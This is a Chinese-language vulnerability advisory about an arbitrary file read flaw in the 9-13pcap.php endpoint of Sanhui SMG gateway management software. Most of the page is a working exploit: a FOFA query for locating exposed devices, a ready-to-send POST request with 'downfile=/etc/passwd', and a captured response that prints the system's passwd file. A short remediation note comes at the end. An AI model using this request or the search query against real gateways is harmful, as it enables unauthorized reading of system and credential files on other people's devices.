

三汇 SMG 网关管理软件 9-13pcap.php 任意文件读取漏洞

三汇 SMG 网关管理软件 9-13pcap.php 任意文件读取漏洞

影响版本

三汇 SMG 网关管理软件

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="text ml10 mr20" && (title="网关管理软件" || title="Gateway Management")

POC/EXP：

```
POST /en/9-13pcap.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Priority: u=0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

down=1&downfile=/etc/passwd
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

POST /en/9-13pcap.php HTTP/1.1

2

Host: 192.168.1.1

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0

4

X-Requested-With: XMLHttpRequest

5

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6

Accept-Encoding: gzip, deflate

7

Priority: u=0

8

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

9

10

down=1&downfile=/etc/passwd

Responses

1745bytes / 162ms

美化

编码

搜索

详情

1

HTTP/1.1 200 OK

2

Date: Thu, 03 Apr 2025 09:42:29 GMT

3

Server: Apache

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

Accept-Ranges: bytes

8

Accept-Length: 1745

9

Content-Disposition: attachment; filename=passwd

10

Set-Cookie: PHPSESSID=a852b3719fd357b6fa8b186598bf3f34; path=/

11

Content-Type: application/octet-stream

12

Content-Length: 1745

13

14

root:x:0:0:root:/root:/bin/sh

15

bin:x:1:1:bin:/bin:/sbin/nologin

16

daemon:x:2:2:daemon:/sbin:/sbin/nologin

17

adm:x:3:4:adm:/var/adm:/sbin/nologin

18

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

19

sync:x:5:0:sync:/sbin:/bin/sync

20

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

21

halt:x:7:0:halt:/sbin:/sbin/halt

22

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

23

news:x:9:13:news:/var/spool/news:

24

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

25

operator:x:11:0:operator:/root:/sbin/nologin

26

games:x:12:100:games:/usr/games:/sbin/nologin

27

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

28

ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin

29

nobody:x:99:99:Nobody:/:/sbin/nologin

30

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

31

mailnull:x:47:47:/var/spool/mqueue:/dev/null

32

xfs:x:43:43:X-Font-Server:/etc/X11/fs:/bin/false

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本